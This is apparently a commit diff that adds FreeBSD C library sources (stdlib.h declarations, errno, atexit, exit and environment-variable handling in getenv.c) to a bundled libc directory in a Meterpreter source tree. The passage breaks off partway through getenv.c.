int cgetset(const char *);
|
||||
int cgetstr(char *, const char *, char **);
|
||||
int cgetustr(char *, const char *, char **);
|
||||
|
||||
int daemon(int, int);
|
||||
char *devname(__dev_t, __mode_t);
|
||||
char *devname_r(__dev_t, __mode_t, char *, int);
|
||||
char *fdevname(int);
|
||||
char *fdevname_r(int, char *, int);
|
||||
int getloadavg(double [], int);
|
||||
__const char *
|
||||
getprogname(void);
|
||||
|
||||
int heapsort(void *, size_t, size_t, int (*)(const void *, const void *));
|
||||
int l64a_r(long, char *, int);
|
||||
int mergesort(void *, size_t, size_t, int (*)(const void *, const void *));
|
||||
void qsort_r(void *, size_t, size_t, void *,
|
||||
int (*)(void *, const void *, const void *));
|
||||
int radixsort(const unsigned char **, int, const unsigned char *,
|
||||
unsigned);
|
||||
void *reallocf(void *, size_t);
|
||||
int rpmatch(const char *);
|
||||
void setprogname(const char *);
|
||||
int sradixsort(const unsigned char **, int, const unsigned char *,
|
||||
unsigned);
|
||||
void sranddev(void);
|
||||
void srandomdev(void);
|
||||
long long
|
||||
strtonum(const char *, long long, long long, const char **);
|
||||
|
||||
/* Deprecated interfaces, to be removed in FreeBSD 6.0. */
|
||||
__int64_t
|
||||
strtoq(const char *, char **, int);
|
||||
__uint64_t
|
||||
strtouq(const char *, char **, int);
|
||||
|
||||
extern char *suboptarg; /* getsubopt(3) external variable */
|
||||
#endif /* __BSD_VISIBLE */
|
||||
__END_DECLS
|
||||
|
||||
#endif /* !_STDLIB_H_ */
|
44
c/meterpreter/source/ulibc/stdlib/__error.c
Normal file
44
c/meterpreter/source/ulibc/stdlib/__error.c
Normal file
@ -0,0 +1,44 @@
|
||||
/*
|
||||
* Copyright (c) 1997 John Birrell <jb@cimlogic.com.au>.
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. Neither the name of the author nor the names of any co-contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY JOHN BIRRELL AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/sys/__error.c 165968 2007-01-12 07:31:30Z imp $");
|
||||
#include <sys/errno.h>
|
||||
|
||||
/*
|
||||
* Declare a weak reference in case the application is not linked
|
||||
* with libpthread.
|
||||
*/
|
||||
__weak_reference(__error_unthreaded, __error);
|
||||
|
||||
int *
|
||||
__error_unthreaded()
|
||||
{
|
||||
return(&errno);
|
||||
}
|
185
c/meterpreter/source/ulibc/stdlib/atexit.c
Normal file
185
c/meterpreter/source/ulibc/stdlib/atexit.c
Normal file
@ -0,0 +1,185 @@
|
||||
/*-
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* This code is derived from software contributed to Berkeley by
|
||||
* Chris Torek.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static char sccsid[] = "@(#)atexit.c 8.2 (Berkeley) 7/3/94";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: head/lib/libc/stdlib/atexit.c 165903 2007-01-09 00:28:16Z imp $");
|
||||
|
||||
#include "namespace.h"
|
||||
#include <stddef.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <pthread.h>
|
||||
#include "atexit.h"
|
||||
#include "un-namespace.h"
|
||||
|
||||
#include "libc_private.h"
|
||||
|
||||
#define ATEXIT_FN_EMPTY 0
|
||||
#define ATEXIT_FN_STD 1
|
||||
#define ATEXIT_FN_CXA 2
|
||||
|
||||
static pthread_mutex_t atexit_mutex = PTHREAD_MUTEX_INITIALIZER;
|
||||
|
||||
#define _MUTEX_LOCK(x) if (__isthreaded) _pthread_mutex_lock(x)
|
||||
#define _MUTEX_UNLOCK(x) if (__isthreaded) _pthread_mutex_unlock(x)
|
||||
|
||||
struct atexit {
|
||||
struct atexit *next; /* next in list */
|
||||
int ind; /* next index in this table */
|
||||
struct atexit_fn {
|
||||
int fn_type; /* ATEXIT_? from above */
|
||||
union {
|
||||
void (*std_func)(void);
|
||||
void (*cxa_func)(void *);
|
||||
} fn_ptr; /* function pointer */
|
||||
void *fn_arg; /* argument for CXA callback */
|
||||
void *fn_dso; /* shared module handle */
|
||||
} fns[ATEXIT_SIZE]; /* the table itself */
|
||||
};
|
||||
|
||||
static struct atexit *__atexit; /* points to head of LIFO stack */
|
||||
|
||||
/*
|
||||
* Register the function described by 'fptr' to be called at application
|
||||
* exit or owning shared object unload time. This is a helper function
|
||||
* for atexit and __cxa_atexit.
|
||||
*/
|
||||
static int
|
||||
atexit_register(struct atexit_fn *fptr)
|
||||
{
|
||||
static struct atexit __atexit0; /* one guaranteed table */
|
||||
struct atexit *p;
|
||||
|
||||
_MUTEX_LOCK(&atexit_mutex);
|
||||
if ((p = __atexit) == NULL)
|
||||
__atexit = p = &__atexit0;
|
||||
else while (p->ind >= ATEXIT_SIZE) {
|
||||
struct atexit *old__atexit;
|
||||
old__atexit = __atexit;
|
||||
_MUTEX_UNLOCK(&atexit_mutex);
|
||||
if ((p = (struct atexit *)malloc(sizeof(*p))) == NULL)
|
||||
return (-1);
|
||||
_MUTEX_LOCK(&atexit_mutex);
|
||||
if (old__atexit != __atexit) {
|
||||
/* Lost race, retry operation */
|
||||
_MUTEX_UNLOCK(&atexit_mutex);
|
||||
free(p);
|
||||
_MUTEX_LOCK(&atexit_mutex);
|
||||
p = __atexit;
|
||||
continue;
|
||||
}
|
||||
p->ind = 0;
|
||||
p->next = __atexit;
|
||||
__atexit = p;
|
||||
}
|
||||
p->fns[p->ind++] = *fptr;
|
||||
_MUTEX_UNLOCK(&atexit_mutex);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Register a function to be performed at exit.
|
||||
*/
|
||||
int
|
||||
atexit(void (*func)(void))
|
||||
{
|
||||
struct atexit_fn fn;
|
||||
int error;
|
||||
|
||||
fn.fn_type = ATEXIT_FN_STD;
|
||||
fn.fn_ptr.std_func = func;;
|
||||
fn.fn_arg = NULL;
|
||||
fn.fn_dso = NULL;
|
||||
|
||||
error = atexit_register(&fn);
|
||||
return (error);
|
||||
}
|
||||
|
||||
/*
|
||||
* Register a function to be performed at exit or when an shared object
|
||||
* with given dso handle is unloaded dynamically.
|
||||
*/
|
||||
int
|
||||
__cxa_atexit(void (*func)(void *), void *arg, void *dso)
|
||||
{
|
||||
struct atexit_fn fn;
|
||||
int error;
|
||||
|
||||
fn.fn_type = ATEXIT_FN_CXA;
|
||||
fn.fn_ptr.cxa_func = func;;
|
||||
fn.fn_arg = arg;
|
||||
fn.fn_dso = dso;
|
||||
|
||||
error = atexit_register(&fn);
|
||||
return (error);
|
||||
}
|
||||
|
||||
/*
|
||||
* Call all handlers registered with __cxa_atexit for the shared
|
||||
* object owning 'dso'. Note: if 'dso' is NULL, then all remaining
|
||||
* handlers are called.
|
||||
*/
|
||||
void
|
||||
__cxa_finalize(void *dso)
|
||||
{
|
||||
struct atexit *p;
|
||||
struct atexit_fn fn;
|
||||
int n;
|
||||
|
||||
_MUTEX_LOCK(&atexit_mutex);
|
||||
for (p = __atexit; p; p = p->next) {
|
||||
for (n = p->ind; --n >= 0;) {
|
||||
if (p->fns[n].fn_type == ATEXIT_FN_EMPTY)
|
||||
continue; /* already been called */
|
||||
if (dso != NULL && dso != p->fns[n].fn_dso)
|
||||
continue; /* wrong DSO */
|
||||
fn = p->fns[n];
|
||||
/*
|
||||
Mark entry to indicate that this particular handler
|
||||
has already been called.
|
||||
*/
|
||||
p->fns[n].fn_type = ATEXIT_FN_EMPTY;
|
||||
_MUTEX_UNLOCK(&atexit_mutex);
|
||||
|
||||
/* Call the function of correct type. */
|
||||
if (fn.fn_type == ATEXIT_FN_CXA)
|
||||
fn.fn_ptr.cxa_func(fn.fn_arg);
|
||||
else if (fn.fn_type == ATEXIT_FN_STD)
|
||||
fn.fn_ptr.std_func();
|
||||
_MUTEX_LOCK(&atexit_mutex);
|
||||
}
|
||||
}
|
||||
_MUTEX_UNLOCK(&atexit_mutex);
|
||||
}
|
36
c/meterpreter/source/ulibc/stdlib/atexit.h
Normal file
36
c/meterpreter/source/ulibc/stdlib/atexit.h
Normal file
@ -0,0 +1,36 @@
|
||||
/*-
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)atexit.h 8.2 (Berkeley) 7/3/94
|
||||
* $FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/stdlib/atexit.h 165903 2007-01-09 00:28:16Z imp $
|
||||
*/
|
||||
|
||||
/* must be at least 32 to guarantee ANSI conformance */
|
||||
#define ATEXIT_SIZE 32
|
||||
|
||||
void __cxa_finalize(void *dso);
|
71
c/meterpreter/source/ulibc/stdlib/exit.c
Normal file
71
c/meterpreter/source/ulibc/stdlib/exit.c
Normal file
@ -0,0 +1,71 @@
|
||||
/*-
|
||||
* Copyright (c) 1990, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#if defined(LIBC_SCCS) && !defined(lint)
|
||||
static char sccsid[] = "@(#)exit.c 8.1 (Berkeley) 6/4/93";
|
||||
#endif /* LIBC_SCCS and not lint */
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/stdlib/exit.c 165903 2007-01-09 00:28:16Z imp $");
|
||||
|
||||
#include "namespace.h"
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include "un-namespace.h"
|
||||
|
||||
#include "atexit.h"
|
||||
#include "libc_private.h"
|
||||
|
||||
void (*__cleanup)(void);
|
||||
|
||||
/*
|
||||
* This variable is zero until a process has created a thread.
|
||||
* It is used to avoid calling locking functions in libc when they
|
||||
* are not required. By default, libc is intended to be(come)
|
||||
* thread-safe, but without a (significant) penalty to non-threaded
|
||||
* processes.
|
||||
*/
|
||||
int __isthreaded = 0;
|
||||
|
||||
/*
|
||||
* Exit, flushing stdio buffers if necessary.
|
||||
*/
|
||||
void
|
||||
exit(status)
|
||||
int status;
|
||||
{
|
||||
/* Ensure that the auto-initialization routine is linked in: */
|
||||
extern int _thread_autoinit_dummy_decl;
|
||||
|
||||
_thread_autoinit_dummy_decl = 1;
|
||||
|
||||
__cxa_finalize(NULL);
|
||||
if (__cleanup)
|
||||
(*__cleanup)();
|
||||
_exit(status);
|
||||
}
|
688
c/meterpreter/source/ulibc/stdlib/getenv.c
Normal file
688
c/meterpreter/source/ulibc/stdlib/getenv.c
Normal file
@ -0,0 +1,688 @@
|
||||
/*-
|
||||
* Copyright (c) 2007-2008 Sean C. Farley <scf@FreeBSD.org>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer,
|
||||
* without modification, immediately at the beginning of the file.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
__FBSDID("$FreeBSD: user/kmacy/releng_7_2_zfs/lib/libc/stdlib/getenv.c 181407 2008-08-08 00:49:28Z scf $");
|
||||
|
||||
|
||||
#include "namespace.h"
|
||||
#include <sys/types.h>
|
||||
#include <errno.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include "un-namespace.h"
|
||||
|
||||
#ifdef __linux__
|
||||
char **environ;
|
||||
#endif
|
||||
|
||||
static const char CorruptEnvFindMsg[] = "environment corrupt; unable to find ";
|
||||
static const char CorruptEnvValueMsg[] =
|
||||
"environment corrupt; missing value for ";
|
||||
|
||||
|
||||
/*
|
||||
* Standard environ. environ variable is exposed to entire process.
|
||||
*
|
||||
* origEnviron: Upon cleanup on unloading of library or failure, this
|
||||
* allows environ to return to as it was before.
|
||||
* environSize: Number of variables environ can hold. Can only
|
||||
* increase.
|
||||
* intEnviron: Internally-built environ. Exposed via environ during
|
||||
* (re)builds of the environment.
|
||||
*/
|
||||
extern char **environ;
|
||||
static char **origEnviron;
|
||||
static char **intEnviron = NULL;
|
||||
static int environSize = 0;
|
||||
|
||||
/*
|
||||
* Array of environment variables built from environ. Each element records:
|
||||
* name: Pointer to name=value string
|
||||
* name length: Length of name not counting '=' character
|
||||
* value: Pointer to value within same string as name
|
||||
* value size: Size (not length) of space for value not counting the
|
||||
* nul character
|
||||
* active state: true/false value to signify whether variable is active.
|
||||
* Useful since multiple variables with the same name can
|
||||
* co-exist. At most, one variable can be active at any
|
||||
* one time.
|
||||
* putenv: Created from putenv() call. This memory must not be
|
||||
* reused.
|
||||
*/
|
||||
static struct envVars {
|
||||
size_t nameLen;
|
||||
size_t valueSize;
|
||||
char *name;
|
||||
char *value;
|
||||
bool active;
|
||||
bool putenv;
|
||||
} *envVars = NULL;
|
||||
|
||||
/*
|
||||
* Environment array information.
|
||||
*
|
||||
* envActive: Number of active variables in array.
|
||||
* envVarsSize: Size of array.
|
||||
* envVarsTotal: Number of total variables in array (active or not).
|
||||
*/
|
||||
static int envActive = 0;
|
||||
static int envVarsSize = 0;
|
||||
static int envVarsTotal = 0;
|
||||
|
||||
|
||||
/* Deinitialization of new environment. */
|
||||
static void __attribute__ ((destructor)) __clean_env_destructor(void);
|
||||
|
||||
|
||||
/*
|
||||
* A simple version of warnx() to avoid the bloat of including stdio in static
|
||||
* binaries.
|
||||
*/
|
||||
static void
|
||||
__env_warnx(const char *msg, const char *name, size_t nameLen)
|
||||
{
|
||||
static const char nl[] = "\n";
|
||||
static const char progSep[] = ": ";
|
||||
|
||||
_write(STDERR_FILENO, _getprogname(), strlen(_getprogname()));
|
||||
_write(STDERR_FILENO, progSep, sizeof(progSep) - 1);
|
||||
_write(STDERR_FILENO, msg, strlen(msg));
|
||||
_write(STDERR_FILENO, name, nameLen);
|
||||
_write(STDERR_FILENO, nl, sizeof(nl) - 1);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Inline strlen() for performance. Also, perform check for an equals sign.
|
||||
* Cheaper here than peforming a strchr() later.
|
||||
*/
|
||||
static inline size_t
|
||||
__strleneq(const char *str)
|
||||
{
|
||||
const char *s;
|
||||
|
||||
for (s = str; *s != '\0'; ++s)
|
||||
if (*s == '=')
|
||||
return (0);
|
||||
|
||||
return (s - str);
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Comparison of an environment name=value to a name.
|
||||
*/
|
||||
static inline bool
|
||||
strncmpeq(const char *nameValue, const char *name, size_t nameLen)
|
||||
{
|
||||
if (strncmp(nameValue, name, nameLen) == 0 && nameValue[nameLen] == '=')
|
||||
return (true);
|
||||
|
||||
return (false);
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Using environment, returns pointer to value associated with name, if any,
|
||||
* else NULL. If the onlyActive flag is set to true, only variables that are
|
||||
* active are returned else all are.
|
||||
*/
|
||||
static inline char *
|
||||
__findenv(const char *name, size_t nameLen, int *envNdx, bool onlyActive)
|
||||
{
|
||||
int ndx;
|
||||
|
||||
/*
|
||||
* Find environment variable from end of array (more likely to be
|
||||
* active). A variable created by putenv is always active or it is not
|
||||
* tracked in the array.
|
||||
*/
|
||||
for (ndx = *envNdx; ndx >= 0; ndx--)
|
||||
if (envVars[ndx].putenv) {
|
||||
if (strncmpeq(envVars[ndx].name, name, nameLen)) {
|
||||
*envNdx = ndx;
|
||||
return (envVars[ndx].name + nameLen +
|
||||
sizeof ("=") - 1);
|
||||
}
|
||||
} else if ((!onlyActive || envVars[ndx].active) &&
|
||||
(envVars[ndx].nameLen == nameLen &&
|
||||
strncmpeq(envVars[ndx].name, name, nameLen))) {
|
||||
*envNdx = ndx;
|
||||
return (envVars[ndx].value);
|
||||
}
|
||||
|
||||
return (NULL);
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Using environ, returns pointer to value associated with name, if any, else
|
||||
* NULL. Used on the original environ passed into the program.
|
||||
*/
|
||||
static char *
|
||||
__findenv_environ(const char *name, size_t nameLen)
|
||||
{
|
||||
int envNdx;
|
||||
|
||||
/* Find variable within environ. */
|
||||
for (envNdx = 0; environ[envNdx] != NULL; envNdx++)
|
||||
if (strncmpeq(environ[envNdx], name, nameLen))
|
||||
return (&(environ[envNdx][nameLen + sizeof("=") - 1]));
|
||||
|
||||
return (NULL);
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Remove variable added by putenv() from variable tracking array.
|
||||
*/
|
||||
static void
|
||||
__remove_putenv(int envNdx)
|
||||
{
|
||||
envVarsTotal--;
|
||||
if (envVarsTotal > envNdx)
|
||||
memmove(&(envVars[envNdx]), &(envVars[envNdx + 1]),
|
||||
(envVarsTotal - envNdx) * sizeof (*envVars));
|
||||
memset(&(envVars[envVarsTotal]), 0, sizeof (*envVars));
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Deallocate the environment built from environ as well as environ then set
|
||||
* both to NULL. Eases debugging of memory leaks.
|
||||
*/
|
||||
static void
|
||||
__clean_env(bool freeVars)
|
||||
{
|
||||
int envNdx;
|
||||
|
||||
/* Deallocate environment and environ if created by *env(). */
|
||||
if (envVars != NULL) {
|
||||
for (envNdx = envVarsTotal - 1; envNdx >= 0; envNdx--)
|
||||
/* Free variables or deactivate them. */
|
||||
if (envVars[envNdx].putenv) {
|
||||
if (!freeVars)
|
||||
__remove_putenv(envNdx);
|
||||
} else {
|
||||
if (freeVars)
|
||||
free(envVars[envNdx].name);
|
||||
else
|
||||
envVars[envNdx].active = false;
|
||||
}
|
||||
if (freeVars) {
|
||||
free(envVars);
|
||||
envVars = NULL;
|
||||
} else
|
||||
envActive = 0;
|
||||
|
||||
/* Restore original environ if it has not updated by program. */
|
||||
if (origEnviron != NULL) {
|
||||
if (environ == intEnviron)
|
||||
environ = origEnviron;
|
||||
free(intEnviron);
|
||||
intEnviron = NULL;
|
||||
environSize = 0;
|
||||
}
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Using the environment, rebuild the environ array for use by other C library
|
||||
* calls that depend upon it.
|
||||
*/
|
||||
static int
|
||||
__rebuild_environ(int newEnvironSize)
|
||||
{
|
||||
char **tmpEnviron;
|
||||
int envNdx;
|
||||
int environNdx;
|
||||
int tmpEnvironSize;
|
||||
|
||||
/* Resize environ. */
|
||||
if (newEnvironSize > environSize) {
|
||||
tmpEnvironSize = newEnvironSize * 2;
|
||||
tmpEnviron = realloc(intEnviron, sizeof (*intEnviron) *
|
||||
(tmpEnvironSize + 1));
|
||||
if (tmpEnviron == NULL)
|
||||
return (-1);
|
||||
environSize = tmpEnvironSize;
|
||||
intEnviron = tmpEnviron;
|
||||
}
|
||||
envActive = newEnvironSize;
|
||||
|
||||
/* Assign active variables to environ. */
|
||||
for (envNdx = envVarsTotal - 1, environNdx = 0; envNdx >= 0; envNdx--)
|
||||
if (envVars[envNdx].active)
|
||||
intEnviron[environNdx++] = envVars[envNdx].name;
|
||||
intEnviron[environNdx] = NULL;
|
||||
|
||||
/* Always set environ which may have been replaced by program. */
|
||||
environ = intEnviron;
|
||||
|
||||
return (0);
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Enlarge new environment.
|
||||
*/
|
||||
static inline bool
|
||||
__enlarge_env(void)
|
||||
{
|
||||
int newEnvVarsSize;
|
||||
struct envVars *tmpEnvVars;
|
||||
|
||||
envVarsTotal++;
|
||||
if (envVarsTotal > envVarsSize) {
|
||||
newEnvVarsSize = envVarsTotal * 2;
|
||||
tmpEnvVars = realloc(envVars, sizeof (*envVars) *
|
||||
newEnvVarsSize);
|
||||
if (tmpEnvVars == NULL) {
|
||||
envVarsTotal--;
|
||||
return (false);
|
||||
}
|
||||
envVarsSize = newEnvVarsSize;
|
||||
envVars = tmpEnvVars;
|
||||
}
|
||||
|
||||
return (true);
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
* Using environ, build an environment for use by standard C library calls.
|
||||
*/
|
||||
static int
|
||||
__build_env(void)
|
||||
{
|
||||
char **env;
|
||||
int activeNdx;
|
||||
int envNdx;
|
||||
int savedErrno;
|
||||
size_t nameLen;
|
||||
|
||||
/* Check for non-existant environment. */
|
||||
if (environ == NULL || environ[0] == NULL)
|
||||
return (0);
|
||||
|
||||
/* Count environment variables. */
|
||||
for (env = environ, envVarsTotal = 0; *env != NULL; env++)
|
||||
envVarsTotal++;
|
||||
envVarsSize = envVarsTotal * 2;
|
||||
|
||||
/* Create new environment. */
|
||||
envVars = calloc(1, sizeof (*envVars) * envVarsSize);
|
||||
if (envVars == NULL)
|
||||
goto Failure;
|
||||
|
||||
/* Copy environ values and keep track of them. */
|
||||
for (envNdx = envVarsTotal - 1; envNdx >= 0; envNdx--) {
|
||||
envVars[envNdx].putenv = false;
|
||||
envVars[envNdx].name =
|
||||
strdup(environ[envVarsTotal - envNdx - 1]);
|
||||
if (envVars[envNdx].name == NULL)
|
||||
goto Failure;
|
||||
envVars[envNdx].value = strchr(envVars[envNdx].name, '=');
|
||||
if (envVars[envNdx].value != NULL) {
|
||||
envVars[envNdx].value++;
|
||||
envVars[envNdx].valueSize =
|
||||
strlen(envVars[envNdx].value);
|
||||
} else {
|
||||
__env_warnx(CorruptEnvValueMsg, envVars[envNdx].name,
|
||||
strlen(envVars[envNdx].name));
|
||||
errno = EFAULT;
|
||||
goto Failure;
|
||||
}
|
||||
|
||||
/*
|
||||
* Find most current version of variable to make active. This
|
||||
* will prevent multiple active variables from being created
|
||||
* during this initialization phase.
|
||||
*/
|
||||
nameLen = envVars[envNdx].value - envVars[envNdx].name - 1;
|
||||
envVars[envNdx].nameLen = nameLen;
|
||||
